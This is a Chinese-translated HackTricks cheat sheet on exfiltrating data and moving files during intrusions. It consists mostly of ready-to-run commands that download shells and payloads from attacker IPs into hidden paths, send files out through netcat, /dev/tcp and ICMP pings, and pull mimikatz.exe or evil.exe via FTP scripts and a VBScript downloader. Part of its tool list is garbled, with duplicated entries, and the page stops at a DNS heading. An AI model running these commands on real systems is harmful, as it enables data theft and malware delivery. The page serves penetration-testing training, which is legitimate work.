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hacktricks/generic-methodologies-and-resources/exfiltration.md

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数据泄露

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常见的白名单域名用于信息泄露

查看https://lots-project.com/以找到常见的可被滥用的白名单域名

复制&粘贴Base64

Linux

base64 -w0 <file> #Encode file
base64 -d file #Decode file

Windows

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

HTTP

Linux

wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

Windows

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

上传文件

# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world

HTTPS 服务器

# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###

FTP

FTP服务器（Python）

pip3 install pyftpdlib
python3 -m pyftpdlib -p 21

FTP服务器（NodeJS）

sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp

FTP服务器 (pure-ftp)

apt-get update && apt-get install pure-ftp

#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Windows 客户端

#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt

SMB

Kali作为服务器

kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`

或者使用samba创建一个smb共享：

apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart

Windows

Exfiltration

Techniques

  1. Exfiltration Over C2 Channel: Utilize the existing command and control channel to exfiltrate data.

  2. Exfiltration Over Alternative Protocol: Use alternative protocols such as DNS, ICMP, or HTTP to exfiltrate data.

  3. Exfiltration Over Unencrypted Protocols: Leverage unencrypted protocols like FTP, Telnet, or HTTP to exfiltrate data.

  4. Exfiltration Over Encrypted Protocols: Utilize encrypted protocols like HTTPS or SSH to exfiltrate data.

  5. Exfiltration Over Ingress Filtering: Bypass egress filtering by exfiltrating data over allowed ingress channels.

Tools

  • Netcat: A versatile networking utility for reading from and writing to network connections.

  • PowerShell: A task automation framework for configuring systems and automating tasks.

  • Certutil: Command-line utility for managing certificates.

  • Bitsadmin: A tool to create and manage transfer jobs using Background Intelligent Transfer Service (BITS).

  • FTP: File Transfer Protocol for transferring files between a client and server on a network.

  • Wget: A command-line utility for downloading files from the web.

  • Curl: A tool for transferring data with URLs.

  • SMBClient: A tool for accessing shared folders.

  • RDP: Remote Desktop Protocol for remote access to Windows systems.

  • WMIC: Command-line tool for Windows Management Instrumentation.

  • Reg: Command-line utility for working with the registry.

  • Schtasks: Command-line tool for managing scheduled tasks.

  • Bitsadmin: Command-line tool for managing Background Intelligent Transfer Service (BITS) jobs.

  • Vssadmin: Command-line tool for managing Volume Shadow Copy Service.

  • Wevtutil: Command-line tool for managing event logs.

  • Forfiles: Command-line tool for batch processing files.

  • Robocopy: Command-line tool for copying files and directories.

  • Diskshadow: Command-line tool for managing shadow copies.

  • Net: Command-line tool for managing network resources.

  • Tasklist: Command-line tool for listing running processes.

  • Taskkill: Command-line tool for terminating processes.

  • Regsvr32: Command-line tool for registering and unregistering DLLs.

  • Regini: Command-line tool for modifying registry permissions.

  • Regsvcs: Command-line tool for registering and unregistering .NET components.

  • Regsvr32: Command-line tool for registering and unregistering DLLs.

  • Regsvr32: Command-line tool for registering and unregistering DLLs.

CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:

SCP

攻击者必须运行SSHd。

scp <username>@<Attacker_IP>:<directory>/<filename>

SSHFS

如果受害者有SSH，攻击者可以将受害者的目录挂载到攻击者的计算机上。

sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

网络通信

nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file

/dev/tcp

从受害者下载文件

nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim

上传文件至受害者

nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt

感谢 @BinaryShadow_

ICMP

# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)

from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)

SMTP

如果您可以将数据发送到SMTP服务器，您可以使用Python创建一个SMTP来接收数据：

sudo python -m smtpd -n -c DebuggingServer :25

TFTP

在XP和2003中默认情况下（在其他系统中需要在安装过程中显式添加）

在Kali中，启动TFTP服务器：

#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp

Python中的TFTP服务器：

pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>

在受害者中，连接到Kali服务器：

tftp -i <KALI-IP> get nc.exe

PHP

使用 PHP 一行代码下载文件：

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

VBScript

Visual Basic Script (VBScript) 是一种基于对象的脚本语言，通常用于 Windows 环境中。VBScript 可以通过多种方式进行数据泄露，包括通过网络传输数据，将数据写入文件，或者通过电子邮件发送数据。

Attacker> python -m SimpleHTTPServer 80

受害者

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs http://10.11.0.5/evil.exe evil.exe

Debug.exe

debug.exe程序不仅允许检查二进制文件，还具有从十六进制重建它们的能力。这意味着通过提供一个二进制文件的十六进制表示，debug.exe可以生成该二进制文件。然而，重要的是要注意debug.exe有一个组装文件大小限制为64 kb。

# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt

DNS

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

从零开始学习AWS黑客技术，成为专家 htARTE (HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式：